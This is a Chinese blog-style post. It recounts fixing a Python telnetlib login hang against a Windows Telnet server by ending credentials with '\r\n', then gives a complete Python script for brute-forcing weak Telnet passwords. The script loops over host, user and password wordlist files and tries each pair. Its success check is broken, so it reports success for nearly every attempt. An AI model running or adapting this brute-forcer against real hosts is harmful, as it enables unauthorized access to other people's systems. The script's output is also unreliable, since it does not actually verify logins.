写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住。然后等了好久后提示
recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has closed t’
虚拟机服务器是Win7的 主机客户也是Win7。
1、一开始觉得是因为socket 设置的问题,上网查了很久,也按他们的方法改了,但都不管用。
2、后来觉得是因为读取行的问题,linux和Windows返回行信息不同,所以没办法读取到,所以将
tn.read_until("login:")tn.read_until("password:")都改成
tn.read_until("\n")结果还是没用。心疼自己= =
3、于是又找啊找,看到了这篇文章,文章作者说:注意:
这个问题将我纠结了好一阵子,最后跟踪调试发送命令字符串
发现在windows操作系统中发送命令时一定要”\r\n”,不然无法识别命令
于是感觉自己看到了曙光,于是又按着改,但还是无功而返。
4、最终,在这个地方找到了问题的原因。有个回答是:
If you’re using Windows, be sure to add carriage return (\r) before the new line character:
tn.write(user.encode(‘ascii’) + “\r\n”.encode(‘ascii’))
我的理解是:在连接Windows操作系统的时候,因为编码的问题,如果直接 tn.write(user+”\n”) 系统不识别,所以改成 tn.write(user.encode(‘ascii’) + “\r\n”.encode(‘ascii’)) 问题即可解决。
Python Telnet弱口令爆破脚本:
1 #!usr/bin/env python
2 #!coding=utf-8
3
4 __author__ = 'zhengjim'
5
6 import telnetlib
7
8 def telnet(host,user,pwd):
9 try:
10 tn = telnetlib.Telnet(host,timeout=10)
11 tn.set_debuglevel(2)
12 tn.read_until("\n")
13 tn.write(user.encode('ascii') + "\r\n".encode('ascii'))
14 tn.read_until("\n")
15 tn.write(pwd.encode('ascii') + "\r\n".encode('ascii'))
16 tn.read_all
17 print '用户名:' + user + ',密码:' + pwd + '成功'
18 except:
19 print '失败'
20
21
22 host=open('host.txt')
23 for line in host:
24 host=line.strip('\n')
25 print '开始爆破主机:'+host
26 user=open('user.txt')
27 for line in user:
28 user=line.strip('\n')
29 pwd =open('pwd.txt')
30 for line in pwd:
31 pwd = line.strip('\n')
32 print user + ':'+pwd
33 telnet(host,user,pwd)目录下需要host.txt,user.txt,pwd.txt三个文件
不足是代码比较简单,而且没多线程,效率比较低。